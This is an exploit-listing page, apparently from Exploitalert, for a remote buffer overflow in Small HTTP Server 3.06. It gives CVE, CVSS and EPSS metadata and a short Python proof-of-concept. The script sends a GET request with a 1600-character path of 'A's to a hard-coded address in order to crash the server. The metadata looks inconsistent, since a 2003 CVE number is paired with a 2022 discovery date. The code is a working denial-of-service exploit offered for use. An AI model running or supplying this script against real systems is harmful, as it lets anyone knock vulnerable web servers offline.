Advertisement
CVE | Category | Price | Severity |
---|---|---|---|
CVE-2003-1014 | CWE-119 | $500 | High |
Author | Risk | Exploitation Type | Date |
---|---|---|---|
Halsten Stenerson | High | Remote | 2022-04-07 |
CVSS | EPSS | EPSSP |
---|---|---|
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 0.89801 | 0.997485 |
# Exploit Title: Small HTTP Server Remote Buffer Overflow # Discovered by: Yehia Elghaly # Discovered Date: 2022-04-07 # Vendor Homepage: http://smallsrv.com/ # Software Link : http://smallsrv.com/shttps_mgi.exe # Tested Version: 3.06 # Vulnerability Type: Buffer Overflow Remote # Tested on OS: Windows XP SP3 - Windows 7 Professional x86 SP1 # Description: Small HTTP Server 3.06 Long GET Remote Buffer Overflow #!/usr/bin/env python from requests.exceptions import ConnectionError from requests.compat import urljoin, quote_plus import requests as req try: url = "http://192.168.1.99" term = "A" * 1600 evilb = urljoin(url, quote_plus(term)) resp = req.request(method='GET', url=evilb) print(resp.text) except ConnectionError as e: print "Crashed!!"
Copyright ©2024 Exploitalert.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.